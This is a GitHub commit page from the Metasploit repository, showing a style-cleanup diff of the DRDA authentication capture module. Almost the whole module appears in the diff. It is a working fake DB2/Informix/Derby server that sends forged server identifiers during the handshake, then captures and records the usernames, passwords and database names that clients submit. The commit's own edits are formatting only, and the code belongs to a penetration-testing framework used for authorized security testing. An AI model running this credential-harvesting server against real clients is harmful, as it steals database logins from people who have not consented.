Skip to content

Commit e4a5aec

Browse files
authored
Merge pull request rapid7#20186 from bcoles/rubocop-modules-auxiliary-server-capture
modules/auxiliary/server/capture: Resolve RuboCop violations
2 parents 34be81d + 3ae2a8f commit e4a5aec

File tree

17 files changed

+1550
-1483
lines changed

17 files changed

+1550
-1483
lines changed

modules/auxiliary/server/capture/drda.rb

Lines changed: 117 additions & 113 deletions
Original file line numberDiff line numberDiff line change
@@ -10,42 +10,48 @@ class MetasploitModule < Msf::Auxiliary
1010
include Msf::Auxiliary::Report
1111

1212
class Constants
13-
CODEPOINT_ACCSEC = 0x106d
14-
CODEPOINT_SECCHK = 0x106e
15-
CODEPOINT_SRVCLSNM = 0x1147
16-
CODEPOINT_SRVCOD = 0x1149
17-
CODEPOINT_SRVRLSLV = 0x115a
18-
CODEPOINT_EXTNAM = 0x115e
19-
CODEPOINT_SRVNAM = 0x116d
20-
CODEPOINT_USERID = 0x11a0
21-
CODEPOINT_PASSWORD = 0x11a1
22-
CODEPOINT_SECMEC = 0x11a2
23-
CODEPOINT_SECCHKCD = 0x11a4
24-
CODEPOINT_SECCHKRM = 0x1219
25-
CODEPOINT_MGRLVLLS = 0x1404
26-
CODEPOINT_EXCSATRD = 0x1443
27-
CODEPOINT_ACCSECRD = 0x14ac
28-
CODEPOINT_RDBNAM = 0x2110
13+
CODEPOINT_ACCSEC = 0x106d
14+
CODEPOINT_SECCHK = 0x106e
15+
CODEPOINT_SRVCLSNM = 0x1147
16+
CODEPOINT_SRVCOD = 0x1149
17+
CODEPOINT_SRVRLSLV = 0x115a
18+
CODEPOINT_EXTNAM = 0x115e
19+
CODEPOINT_SRVNAM = 0x116d
20+
CODEPOINT_USERID = 0x11a0
21+
CODEPOINT_PASSWORD = 0x11a1
22+
CODEPOINT_SECMEC = 0x11a2
23+
CODEPOINT_SECCHKCD = 0x11a4
24+
CODEPOINT_SECCHKRM = 0x1219
25+
CODEPOINT_MGRLVLLS = 0x1404
26+
CODEPOINT_EXCSATRD = 0x1443
27+
CODEPOINT_ACCSECRD = 0x14ac
28+
CODEPOINT_RDBNAM = 0x2110
2929
end
3030

3131
def initialize
3232
super(
33-
'Name' => 'Authentication Capture: DRDA (DB2, Informix, Derby)',
34-
'Description' => %q{
33+
'Name' => 'Authentication Capture: DRDA (DB2, Informix, Derby)',
34+
'Description' => %q{
3535
This module provides a fake DRDA (DB2, Informix, Derby) server
3636
that is designed to capture authentication credentials.
3737
},
38-
'Author' => 'Patrik Karlsson <patrik[at]cqure.net>',
39-
'License' => MSF_LICENSE,
40-
'Actions' => [[ 'Capture', 'Description' => 'Run DRDA capture server' ]],
38+
'Author' => 'Patrik Karlsson <patrik[at]cqure.net>',
39+
'License' => MSF_LICENSE,
40+
'Actions' => [[ 'Capture', { 'Description' => 'Run DRDA capture server' } ]],
4141
'PassiveActions' => [ 'Capture' ],
42-
'DefaultAction' => 'Capture'
42+
'DefaultAction' => 'Capture',
43+
'Notes' => {
44+
'Stability' => [CRASH_SAFE],
45+
'SideEffects' => [],
46+
'Reliability' => []
47+
}
4348
)
4449

4550
register_options(
4651
[
47-
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 50000 ])
48-
])
52+
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 50000 ])
53+
]
54+
)
4955
end
5056

5157
def setup
@@ -54,87 +60,87 @@ def setup
5460
end
5561

5662
def run
57-
exploit()
63+
exploit
5864
end
5965

60-
def on_client_connect(c)
61-
@state[c] = {
62-
:name => "#{c.peerhost}:#{c.peerport}",
63-
:ip => c.peerhost,
64-
:port => c.peerport,
65-
:user => nil,
66-
:pass => nil,
67-
:database => nil
66+
def on_client_connect(client)
67+
@state[client] = {
68+
name: "#{client.peerhost}:#{client.peerport}",
69+
ip: client.peerhost,
70+
port: client.peerport,
71+
user: nil,
72+
pass: nil,
73+
database: nil
6874
}
6975
end
7076

7177
# translates EBDIC to ASCII
7278
def drda_ascii_to_ebdic(str)
7379
a2e = [
74-
"00010203372D2E2F1605250B0C0D0E0F101112133C3D322618193F271C1D1E1F" +
75-
"405A7F7B5B6C507D4D5D5C4E6B604B61F0F1F2F3F4F5F6F7F8F97A5E4C7E6E6F" +
76-
"7CC1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D" +
77-
"79818283848586878889919293949596979899A2A3A4A5A6A7A8A9C04FD0A107" +
78-
"202122232415061728292A2B2C090A1B30311A333435360838393A3B04143EE1" +
79-
"4142434445464748495152535455565758596263646566676869707172737475" +
80-
"767778808A8B8C8D8E8F909A9B9C9D9E9FA0AAABAC4AAEAFB0B1B2B3B4B5B6B7" +
81-
"B8B9BABBBC6ABEBFCACBCCCDCECFDADBDCDDDEDFEAEBECEDEEEFFAFBFCFDFEFF"
82-
].pack("H*")
83-
str.unpack('C*').map {|c| a2e[c] }.pack("A"*str.length)
80+
'00010203372D2E2F1605250B0C0D0E0F101112133C3D322618193F271C1D1E1F' \
81+
'405A7F7B5B6C507D4D5D5C4E6B604B61F0F1F2F3F4F5F6F7F8F97A5E4C7E6E6F' \
82+
'7CC1C2C3C4C5C6C7C8C9D1D2D3D4D5D6D7D8D9E2E3E4E5E6E7E8E9ADE0BD5F6D' \
83+
'79818283848586878889919293949596979899A2A3A4A5A6A7A8A9C04FD0A107' \
84+
'202122232415061728292A2B2C090A1B30311A333435360838393A3B04143EE1' \
85+
'4142434445464748495152535455565758596263646566676869707172737475' \
86+
'767778808A8B8C8D8E8F909A9B9C9D9E9FA0AAABAC4AAEAFB0B1B2B3B4B5B6B7' \
87+
'B8B9BABBBC6ABEBFCACBCCCDCECFDADBDCDDDEDFEAEBECEDEEEFFAFBFCFDFEFF'
88+
].pack('H*')
89+
str.unpack('C*').map { |c| a2e[c] }.pack('A' * str.length)
8490
end
8591

8692
# translates ASCII to EBDIC
8793
def drda_ebdic_to_ascii(str)
8894
e2a = [
89-
"000102039C09867F978D8E0B0C0D0E0F101112139D8508871819928F1C1D1E1F" +
90-
"80818283840A171B88898A8B8C050607909116939495960498999A9B14159E1A" +
91-
"20A0A1A2A3A4A5A6A7A8D52E3C282B7C26A9AAABACADAEAFB0B121242A293B5E" +
92-
"2D2FB2B3B4B5B6B7B8B9E52C255F3E3FBABBBCBDBEBFC0C1C2603A2340273D22" +
93-
"C3616263646566676869C4C5C6C7C8C9CA6A6B6C6D6E6F707172CBCCCDCECFD0" +
94-
"D17E737475767778797AD2D3D45BD6D7D8D9DADBDCDDDEDFE0E1E2E3E45DE6E7" +
95-
"7B414243444546474849E8E9EAEBECED7D4A4B4C4D4E4F505152EEEFF0F1F2F3" +
96-
"5C9F535455565758595AF4F5F6F7F8F930313233343536373839FAFBFCFDFEFF"
97-
].pack("H*")
98-
str.unpack('C*').map {|c| e2a[c] }.pack("A"*str.length)
95+
'000102039C09867F978D8E0B0C0D0E0F101112139D8508871819928F1C1D1E1F' \
96+
'80818283840A171B88898A8B8C050607909116939495960498999A9B14159E1A' \
97+
'20A0A1A2A3A4A5A6A7A8D52E3C282B7C26A9AAABACADAEAFB0B121242A293B5E' \
98+
'2D2FB2B3B4B5B6B7B8B9E52C255F3E3FBABBBCBDBEBFC0C1C2603A2340273D22' \
99+
'C3616263646566676869C4C5C6C7C8C9CA6A6B6C6D6E6F707172CBCCCDCECFD0' \
100+
'D17E737475767778797AD2D3D45BD6D7D8D9DADBDCDDDEDFE0E1E2E3E45DE6E7' \
101+
'7B414243444546474849E8E9EAEBECED7D4A4B4C4D4E4F505152EEEFF0F1F2F3' \
102+
'5C9F535455565758595AF4F5F6F7F8F930313233343536373839FAFBFCFDFEFF'
103+
].pack('H*')
104+
str.unpack('C*').map { |c| e2a[c] }.pack('A' * str.length)
99105
end
100106

101107
# parses and returns a DRDA parameter
102108
def drda_parse_parameter(data)
103109
param = {
104-
:length => data.slice!(0,2).unpack("n")[0],
105-
:codepoint => data.slice!(0,2).unpack("n")[0],
106-
:data => ""
110+
length: data.slice!(0, 2).unpack('n')[0],
111+
codepoint: data.slice!(0, 2).unpack('n')[0],
112+
data: ''
107113
}
108-
param[:data] = drda_ebdic_to_ascii(data.slice!(0,param[:length] - 4).unpack("A*")[0])
114+
param[:data] = drda_ebdic_to_ascii(data.slice!(0, param[:length] - 4).unpack('A*')[0])
109115
param
110116
end
111117

112118
# creates a DRDA parameter
113119
def drda_create_parameter(codepoint, data)
114120
param = {
115-
:codepoint => codepoint,
116-
:data => drda_ascii_to_ebdic(data),
117-
:length => data.length + 4
121+
codepoint: codepoint,
122+
data: drda_ascii_to_ebdic(data),
123+
length: data.length + 4
118124
}
119125
param
120126
end
121127

122128
# creates a DRDA CMD with parameters and returns it as an opaque string
123-
def drda_create_cmd(codepoint, options = { :format => 0x43, :correlid => 0x01 }, params=[])
124-
data = ""
129+
def drda_create_cmd(codepoint, options = { format: 0x43, correlid: 0x01 }, params = [])
130+
data = ''
125131
for p in params.each
126-
data << [p[:length]].pack("n")
127-
data << [p[:codepoint]].pack("n")
128-
data << [p[:data]].pack("A*")
132+
data << [p[:length]].pack('n')
133+
data << [p[:codepoint]].pack('n')
134+
data << [p[:data]].pack('A*')
129135
end
130136

131-
hdr = ""
132-
hdr << [data.length + 10].pack("n")
133-
hdr << [0xd0].pack("C") # magic
134-
hdr << [options[:format]].pack("C") # format
135-
hdr << [options[:correlid]].pack("n") # corellid
136-
hdr << [data.length + 4].pack("n") # length2
137-
hdr << [codepoint].pack("n")
137+
hdr = ''
138+
hdr << [data.length + 10].pack('n')
139+
hdr << [0xd0].pack('C') # magic
140+
hdr << [options[:format]].pack('C') # format
141+
hdr << [options[:correlid]].pack('n') # corellid
142+
hdr << [data.length + 4].pack('n') # length2
143+
hdr << [codepoint].pack('n')
138144

139145
data = hdr + data
140146
data
@@ -146,79 +152,77 @@ def drda_parse_response(data)
146152

147153
until data.empty?
148154
cp = {
149-
:length => data.slice!(0, 2).unpack("n")[0],
150-
:magic => data.slice!(0, 1).unpack("C")[0],
151-
:format => data.slice!(0, 1).unpack("C")[0],
152-
:corellid => data.slice!(0,2).unpack("n")[0],
153-
:length2 => data.slice!(0,2).unpack("n")[0],
154-
:codepoint => data.slice!(0,2).unpack("n")[0],
155-
:params => []
155+
length: data.slice!(0, 2).unpack('n')[0],
156+
magic: data.slice!(0, 1).unpack('C')[0],
157+
format: data.slice!(0, 1).unpack('C')[0],
158+
corellid: data.slice!(0, 2).unpack('n')[0],
159+
length2: data.slice!(0, 2).unpack('n')[0],
160+
codepoint: data.slice!(0, 2).unpack('n')[0],
161+
params: []
156162
}
157163
cpdata = data.slice!(0, cp[:length] - 10)
158-
until cpdata.empty?
159-
cp[:params] << drda_parse_parameter(cpdata)
160-
end
164+
cp[:params] << drda_parse_parameter(cpdata) until cpdata.empty?
161165
result << cp
162166
end
163167
result
164168
end
165169

166170
# sends of a DRDA command
167-
def drda_send_cmd(c, cmd)
168-
data = ""
169-
cmd.each {|d| data << d}
170-
c.put data
171+
def drda_send_cmd(client, cmd)
172+
data = ''
173+
cmd.each { |d| data << d }
174+
client.put data
171175
end
172176

173-
def on_client_data(c)
174-
data = c.get_once
177+
def on_client_data(client)
178+
data = client.get_once
175179

176-
return if not data
180+
return if !data
177181

178182
for cmd in drda_parse_response(data).each
179183
case cmd[:codepoint]
180184
when Constants::CODEPOINT_ACCSEC
181185
params = []
182-
params << drda_create_parameter(Constants::CODEPOINT_EXTNAM, "DB2 db2sysc 05D80B00%FED%Y00")
183-
params << drda_create_parameter(Constants::CODEPOINT_MGRLVLLS, ["9d03008e847f008e1c970000840f00979d20008d9dbe0097"].pack("H*"))
184-
params << drda_create_parameter(Constants::CODEPOINT_SRVCLSNM, "QDB2/NT64")
185-
params << drda_create_parameter(Constants::CODEPOINT_SRVNAM, "DB2")
186-
params << drda_create_parameter(Constants::CODEPOINT_SRVRLSLV, "SQL10010")
186+
params << drda_create_parameter(Constants::CODEPOINT_EXTNAM, 'DB2 db2sysc 05D80B00%FED%Y00')
187+
params << drda_create_parameter(Constants::CODEPOINT_MGRLVLLS, ['9d03008e847f008e1c970000840f00979d20008d9dbe0097'].pack('H*'))
188+
params << drda_create_parameter(Constants::CODEPOINT_SRVCLSNM, 'QDB2/NT64')
189+
params << drda_create_parameter(Constants::CODEPOINT_SRVNAM, 'DB2')
190+
params << drda_create_parameter(Constants::CODEPOINT_SRVRLSLV, 'SQL10010')
187191

188192
cmd = []
189-
cmd << drda_create_cmd(Constants::CODEPOINT_EXCSATRD, { :format => 0x43, :correlid => 1 }, params)
193+
cmd << drda_create_cmd(Constants::CODEPOINT_EXCSATRD, { format: 0x43, correlid: 1 }, params)
190194

191195
params = []
192196
params << drda_create_parameter(Constants::CODEPOINT_SECMEC, "\x00\x03")
193-
cmd << drda_create_cmd(Constants::CODEPOINT_ACCSECRD, { :format => 3, :correlid => 2 }, params)
197+
cmd << drda_create_cmd(Constants::CODEPOINT_ACCSECRD, { format: 3, correlid: 2 }, params)
194198

195-
drda_send_cmd(c, cmd)
199+
drda_send_cmd(client, cmd)
196200

197201
when Constants::CODEPOINT_SECCHK
198202
for p in cmd[:params].each
199203
case p[:codepoint]
200204
when Constants::CODEPOINT_USERID
201-
@state[c][:user] = p[:data].rstrip
205+
@state[client][:user] = p[:data].rstrip
202206
when Constants::CODEPOINT_PASSWORD
203-
@state[c][:pass] = p[:data].rstrip
207+
@state[client][:pass] = p[:data].rstrip
204208
when Constants::CODEPOINT_RDBNAM
205-
@state[c][:database] = p[:data].rstrip
209+
@state[client][:database] = p[:data].rstrip
206210
end
207211
end
208-
else
209-
# print_status("unhandled codepoint: #{cmd[:codepoint]}")
210-
# do nothing
212+
# else
213+
# print_status("unhandled codepoint: #{cmd[:codepoint]}")
214+
# ignore unhandled codepoints
211215
end
212216
end
213217

214-
if @state[c][:user] and @state[c][:pass]
215-
print_good("DRDA LOGIN #{@state[c][:name]} Database: #{@state[c][:database]}; #{@state[c][:user]} / #{@state[c][:pass]}")
218+
if @state[client][:user] && @state[client][:pass]
219+
print_good("DRDA LOGIN #{@state[client][:name]} Database: #{@state[client][:database]}; #{@state[client][:user]} / #{@state[client][:pass]}")
216220
report_cred(
217-
ip: @state[c][:ip],
221+
ip: @state[client][:ip],
218222
port: datastore['SRVPORT'],
219223
service_name: 'db2_client',
220-
user: @state[c][:user],
221-
password: @state[c][:pass],
224+
user: @state[client][:user],
225+
password: @state[client][:pass],
222226
proof: @state.inspect
223227
)
224228

@@ -227,10 +231,10 @@ def on_client_data(c)
227231
params << drda_create_parameter(Constants::CODEPOINT_SECCHKCD, "\x0f")
228232

229233
cmd = []
230-
cmd << drda_create_cmd(Constants::CODEPOINT_SECCHKRM, { :format => 2, :correlid => 1 }, params)
234+
cmd << drda_create_cmd(Constants::CODEPOINT_SECCHKRM, { format: 2, correlid: 1 }, params)
231235

232-
drda_send_cmd(c, cmd)
233-
#c.close
236+
drda_send_cmd(client, cmd)
237+
# client.close
234238
end
235239
end
236240

@@ -260,7 +264,7 @@ def report_cred(opts)
260264
create_credential_login(login_data)
261265
end
262266

263-
def on_client_close(c)
264-
@state.delete(c)
267+
def on_client_close(client)
268+
@state.delete(client)
265269
end
266270
end

0 commit comments

Comments
 (0)